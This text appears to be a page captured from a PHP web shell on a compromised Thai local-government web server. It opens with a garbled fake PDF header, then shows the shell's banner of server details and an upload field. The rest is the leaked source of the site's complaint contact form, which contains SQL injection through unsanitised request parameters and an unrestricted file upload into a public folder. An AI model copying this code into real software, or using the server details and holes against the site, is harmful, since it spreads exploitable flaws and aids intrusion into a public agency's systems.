%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
Server IP : 122.155.17.190 / Your IP : 3.145.179.147 Web Server : Apache/2 System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 User : bungkla ( 1054) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bungkla/domains/bungkla.go.th/private_html/contacts/ |
Upload File : |
<? session_start(); Header("Content-Type: text/html; charset=UTF-8"); if($_GET["scon_id"]) { $scon_id = $_GET["scon_id"]; }else { $scon_id = $_POST["scon_id"]; } if(!isset($scon_id) || empty($scon_id)) { $scon_id = 2; } include("../include/config.php"); include("../include/function.php"); include("../include/config_db.php"); if($_POST["chk_edit"]==1) { if(isset($_SESSION['captcha_val']) && isset($_POST["captcha"])){ if($_POST['captcha'] != $_SESSION['captcha_val']){ ?> <script> alert("!! รหัสยืนยันไม่ถูกต้อง"); history.back(); </script> <? } else { $s_con_title = $_POST["s_con_title"]; $s_con_title = ($s_con_title); $s_con_title = strip_tags($s_con_title); $s_con_name = $_POST["s_con_name"]; $s_con_name = ($s_con_name); $s_con_name = strip_tags($s_con_name); $s_con_email = $_POST["s_con_email"]; $s_con_phone = $_POST["s_con_phone"]; $s_con_phone = ($s_con_phone); $s_con_phone = strip_tags($s_con_phone); $s_con_message = $_POST["s_con_message"]; $s_con_message = ($s_con_message); $s_con_message = strip_tags($s_con_message); // Remove CDATA blocks. ;) $s_con_message = preg_replace('#\<\!\[CDATA\[(.*?)\]\]\>#s', '', $s_con_message); // Other control characters $s_con_message = preg_replace('#(?:[\x00-\x1F\x7F]+|(?:\xC2[\x80-\x9F])+)#', '', $s_con_message); $order = array("\r\n", "\n", "\r"); $replace = '<br>'; $s_con_message = str_replace($order, $replace, $s_con_message); $s_con_message = str_replace('"', "'", $s_con_message); $s_con_ip_connect = $_SERVER["REMOTE_ADDR"]; $cad_id = 0; if($s_con_title != ''){ $sql = "insert into `contact_admin_detail` (`con_id`,`con_name`,`con_email`,`con_phone`,`con_title`,`con_message`,`con_date`,`con_ip_connect`) values ('$scon_id','$s_con_name','$s_con_email','$s_con_phone','$s_con_title','$s_con_message',now(),'$s_con_ip_connect')"; $dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B"); $cad_id = mysql_insert_id(); } if($cad_id != 0){ $c_caf_file1 = "";$c_caf_file2 = "";$c_caf_file3 = "";$c_caf_file4 = "";$c_caf_file5 = ""; for($i=0;$i<count($_FILES["attfiles"]["name"]);$i++) { if($_FILES["attfiles"]["name"][$i] != "") { $sur_num_text = strrchr($_FILES['attfiles']['name'][$i], "."); $sur_num = strlen($sur_num_text); $file_name_sur = ($_FILES['attfiles']['name'][$i]); $file_name = substr($file_name_sur,0,strlen($file_name_sur) - $sur_num); if(strlen($file_name)>230){ $file_name = substr($file_name,0,230); } $sur1 = strrchr($_FILES['attfiles']['name'][$i], "."); //ตัดนามสกุลไฟล์เก็บไว $name = $file_name."_".$i."_".(Date("dmy_His").$sur1); //$filename_upload = iconv("tis-620","utf-8",$name); $filename_upload = $name; if(move_uploaded_file($_FILES["attfiles"]["tmp_name"][$i],"./userattachfiles/".$filename_upload)) { if(empty($c_caf_file1)){$c_caf_file1 = $name;}else{ if(empty($c_caf_file2)){$c_caf_file2 = $name;}else{ if(empty($c_caf_file3)){$c_caf_file3 = $name;}else{ if(empty($c_caf_file4)){$c_caf_file4 = $name;}else{ if(empty($c_caf_file5)){$c_caf_file5 = $name;}}}}} } } }//for if(($c_caf_file1 != '') or ($c_caf_file2 != '') or ($c_caf_file3 != '') or ($c_caf_file4 != '') or ($c_caf_file5 != '')){ $insertSQL = "INSERT INTO `contact_admin_userfiles` (`cad_id`,`caf_created`,`caf_file1`,`caf_file2`,`caf_file3`,`caf_file4`,`caf_file5`) VALUES ('$cad_id',now(),'$c_caf_file1','$c_caf_file2','$c_caf_file3','$c_caf_file4','$c_caf_file5')"; $Result1 = mysql_query($insertSQL) or die(mysql_error()); } } $c_con_email = "office@nongmaisung.go.th"; $c_con_category = ""; $c_con_admin_email = ""; $c_con_admin_email_password = ""; $c_con_admin_email_server = ""; $sql_m = "select * from `contact_admin` where (`id`='$scon_id') "; $result_m = mysql_query($sql_m); $num_rows_m = mysql_num_rows($result_m); if($num_rows_m>0){ $c_con_category = mysql_result($result_m, 0,"con_category"); $c_con_admin_email = mysql_result($result_m, 0,"con_email"); $c_con_admin_email_password = mysql_result($result_m, 0,"con_email_password"); $c_con_admin_email_server = mysql_result($result_m, 0,"con_email_server"); } mysql_free_result($result_m); unset($result_m); $s_con_title = "ประชาชนร้องเรียน : ".$c_con_category; require("PHPMailer_v5.1/class.phpmailer.php"); function smtpmail( $email , $subject , $body, $uemail, $uemailpass, $uemailserver, $uname ) { $mail = new PHPMailer(); $mail->IsSMTP(); $mail->CharSet = "utf-8"; // ในส่วนนี้ ถ้าระบบเราใช้ tis-620 หรือ windows-874 สามารถแก้ไขเปลี่ยนได้ $mail->Host = $uemailserver; // mail server ของเรา $mail->SMTPAuth = true; // เลือกการใช้งานส่งเมล์ แบบ SMTP $mail->Username = $uemail; // account e-mail ของเราที่ต้องการจะส่ง $mail->Password = $uemailpass; // รหัสผ่าน e-mail ของเราที่ต้องการจะส่ง $mail->From = $uemail; // account e-mail ของเราที่ใช้ในการส่งอีเมล $mail->FromName = $uname; // ชื่อผู้ส่งที่แสดง เมื่อผู้รับได้รับเมล์ของเรา $mail->AddAddress($email); // Email ปลายทางที่เราต้องการส่ง(ไม่ต้องแก้ไข) //$mail->AddCC($uemail); // CC Email ปลายทางที่เราต้องการส่ง(ไม่ต้องแก้ไข) $mail->IsHTML(false); // ถ้า E-mail นี้ มีข้อความในการส่งเป็น tag html ต้องแก้ไข เป็น true $mail->Subject = $subject; // หัวข้อที่จะส่ง(ไม่ต้องแก้ไข) $mail->Body = $body; // ข้อความ ที่จะส่ง(ไม่ต้องแก้ไข) $result = $mail->send(); return $result; } if(!empty($c_con_email) && isset($c_con_email)) { $result = smtpmail( $c_con_email , $s_con_title , $s_con_message, $c_con_admin_email, $c_con_admin_email_password, $c_con_admin_email_server, $s_con_name ); } } } } $sql = "select * from `contact_admin` where (`id`='$scon_id') "; $result = mysql_query($sql) or die("Can't send query !A1"); $num_rows = mysql_num_rows($result); if($num_rows>0){ $c_con_category = mysql_result($result, 0,"con_category"); } mysql_free_result($result); unset($result); include("../include/close_db.php"); $addFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $addFormAction .= "?" . ($_SERVER['QUERY_STRING']); } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>ติดต่อสอบถาม <?=$c_con_category;?></title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="KeyWords" content="<?=$c_con_category;?>,, ติดต่อสอบถาม" /> <meta name="Description" content="ติดต่อสอบถาม <?=$c_con_category;?>" /> <meta name="ROBOTS" content="index, follow" /> <meta http-equiv="CACHE-CONTROL" content="NO-CACHE"> <meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT"> <meta http-equiv="PRAGMA" content="NO-CACHE"> <link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" /> <SCRIPT LANGUAGE='Javascript' type="text/javascript"> function s_check(){ if(document.getElementById('s_con_name').value == "") { alert("'ชื่อผู้ส่ง' จำเป็นต้องมีข้อมูล !"); document.getElementById('s_con_name').focus(); return false; } if(document.getElementById('s_con_email').value == "") { alert("กรุณาใส่อีเมล์คุณ"); document.getElementById('s_con_email').focus(); return false; } var emailf = /^[a-z][a-z_0-9\-\.]+@[a-z_0-9\.\-]+\.[a-z]{2,3}$/i function validateEmail(str) { return emailf.test(str) } if(validateEmail(document.getElementById('s_con_email').value)==false) { alert("กรุณาใส่อีเมล์ที่ถูกต้อง"); document.getElementById('s_con_email').value=""; document.getElementById('s_con_email').focus(); return false; } if(document.getElementById('s_con_title').value == "") { alert("'เรื่อง' จำเป็นต้องมีข้อมูล !"); document.getElementById('s_con_title').focus(); return false; } if(document.getElementById('s_con_message').value == "") { alert("'ข้อความ' จำเป็นต้องมีข้อมูล !"); document.getElementById('s_con_message').focus(); return false; } if(document.getElementById('captcha').value == "") { alert("!! กรุณาใส่รหัสยืนยัน"); document.getElementById('captcha').focus(); return false; } } </SCRIPT> <script type="text/javascript" src="captcha/captcha.js"></script> <link rel="icon" href= "../logo/logo01.png" type="image/x-icon"/> <!--font--> <link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet"> <style type="text/css"> <!-- body { margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; background-color: #fff; font-family: 'Kanit', sans-serif; } --> </style> <style type="text/css"> <!-- a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } .style5 {color: #000000; font-weight: bold; } .style6 {color: #000000} --> </style></head> <body background="../images/0bg1.jpg" style="background-repeat:no-repeat; background-position:top" font-family: 'Kanit', sans-serif; > <!-- content --> <div align="center"> <table width="980" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td height="144" align="center" valign="top"><img src="../images/01logo_head.png" width="980" height="144"></td> </tr> <tr> <td align="center" valign="top"><div align="center"><marquee behavior="SCROLL"><img src="../images/b_n/77.gif" width="112" height="167" /> </marquee> </div></td> </tr> <tr> <td height="292" align="center" valign="top"> </td> </tr> <tr> <td height="131" align="center" valign="top"><table width="980" height="131" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td> <td align="center" valign="top"> </td> <td align="center" valign="top"><div align="center"><style> * { -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; margin: 0; padding: 0; } .image-box { position: relative; margin: auto; overflow: hidden; } .image-box img { transition: all 0.3s; display: block; height: auto; transform: scale(1); } .image-box:hover img { transform: scale(1.1); } </style></div></td> <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td> </tr> </table></td> </tr> <tr> <td height="163" align="center" valign="top" class="manu1"><table width="980" height="163" border="0" cellpadding="0" cellspacing="0"> <tr> <td><div align="center"class="image-box"><a href="/index.php"><img src="../images/03menutop_01.png" width="163" height="163" border="0" /></a></div></td> </tr> </table> <tr> <tr> <td align="center" valign="top"> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <th valign="top" scope="col"><div align="center"> <table width="90%" border="0" cellspacing="0" cellpadding="0" align="center"> <tr><td height="5" valign="top"> <a name="toppage"></a></td> </tr> <tr> <td class="title2"><div align="center"></div></td> </tr> </table> </div></th> </tr> <tr> <td valign="top"><div align="center"></div></td> </tr> <tr> <td valign="top"> <div id="main"> <div align="center"><? echo "<font size='3'><b> ".$c_con_category." </b></font>"; ?></div> <div style="position: relative; left: 30px; top: 10px; width: 900px; height: 800px; border: 1px solid #e5e5e5;" class="magnifyarea"> <? if($_POST["chk_edit"]==1) { echo "<div style='position: relative; left: 80px; top: 20px; width: 740px; height: 150px; border: 1px solid #e5e5e5;' class='magnifyarea'>"; echo "<div align='center'><br /><font size='4' color='red'>ทางหน่วยงานได้รับข้อมูลของคุณแล้ว <br /><br />กรุณารอเจ้าหน้าที่ติดต่อกลับ ทางอีเมล์ที่ได้แจ้งไว้ค่ะ</font></div>"; echo "</div>"; }else { ?> <form name="captchafrm" method="post" enctype="multipart/form-data" action="<?php echo $addFormAction;?>" onSubmit="return s_check();"> <table border="0" align="center" cellpadding="1" cellspacing="0"> <tr> <td colspan="2" height="15"></td> </tr> <tr> <td align="right" width="10%"><font class="textblack">ชื่อผู้ส่ง :</font> </td> <td><input type="text" name="s_con_name" id="s_con_name" size="30" maxlength="100" class="textblack"></td> </tr> <tr> <td colspan="2" height="3"></td> </tr> <tr> <td align="right"><font class="textblack">อีเมล์ผู้ส่ง :</font> </td> <td><input type="text" name="s_con_email" id="s_con_email" size="30" maxlength="100" class="textblack"></td> </tr> <tr> <td colspan="2" height="3"></td> </tr> <tr> <td align="right"><font class="textblack">โทรศัพท์ :</font> </td> <td><input type="text" name="s_con_phone" id="s_con_phone" size="30" maxlength="50" class="textblack"></td> </tr> <tr> <td colspan="2" height="3"></td> </tr> <tr> <td align="right" width="10%"><font class="textblack">เรื่อง :</font> </td> <td width="90%"><input type="text" name="s_con_title" id="s_con_title" size="70" maxlength="100" class="textblack"></td> </tr> <tr> <td colspan="2" height="3"></td> </tr> <tr> <td align="right" valign="top"><font class="textblack">ข้อความ :</font> </td> <td><textarea name="s_con_message" id="s_con_message" cols="70" rows="10" maxlength="255" class="textblack"></textarea></td> </tr> <tr> <td colspan="2" height="10"></td> </tr> <tr> <td> </td> <td valign="top"><font color="#ffoooo">เอกสารประกอบ (ไฟล์รูปภาพ หรือ pdf ขนาดไฟล์รวมกันไม่เกิน 100M)</font> </td> </tr> <tr> <td style="text-align:right" valign="top"> </td> <td><br> เอกสารประกอบ 1 <input type="file" name="attfiles[]"><br><br> เอกสารประกอบ 2 <input type="file" name="attfiles[]"><br><br> เอกสารประกอบ 3 <input type="file" name="attfiles[]"><br><br> เอกสารประกอบ 4 <input type="file" name="attfiles[]"><br><br> เอกสารประกอบ 5 <input type="file" name="attfiles[]"><br><br> </td> </tr> <tr> <td colspan="2" height="10"></td> </tr> <tr> <td valign="middle" align="right"><font class="textblack">รหัสยืนยัน :</font></td> <td><input name="captcha" id="captcha" type="text" size="10" maxlength="6" /></td> </tr> <tr> <td valign="middle" align="right"> </td> <td> <iframe src="captcha/php_captcha.php" id="iframe1" frameborder="0" height="50px" width="110px" style="border: 0px;" scrolling="no" marginheight="5px" marginwidth="0px"></iframe> <img src="captcha/reload_icon.png" marginheight="0px" marginwidth="0px" onclick="Reload(); refreshCaptcha();" vspace="19"/> </td> </tr> <tr> <td colspan="2" height="10"></td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> <input type="hidden" name="scon_id" value="<? if($scon_id){ echo $scon_id;}else{ echo '';}?>"> <input type="hidden" name="chk_edit" value="1"> <input type="submit" name="submit" value=" ส่งข้อความ "> <input type="reset" name="reset" value=" คีย์ข้อมูลใหม่ "> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td><div align="center"></div></td> </tr> <tr><td colspan=2 height="10"></td></tr> </table> </form> <? } ?> </div> </div> <script language="javascript"> window.onload = refreshCaptcha; </script> </td> </tr> <tr> <td valign="top"> </td> </tr> </table> </td> </tr> </table> </th> </tr> </table></th> </tr> </table></td> </tr> <tr> <td align="center" valign="top"> </td> </tr> </table> </th> </tr> </table> </div> <!-- end_content --> </body> </html>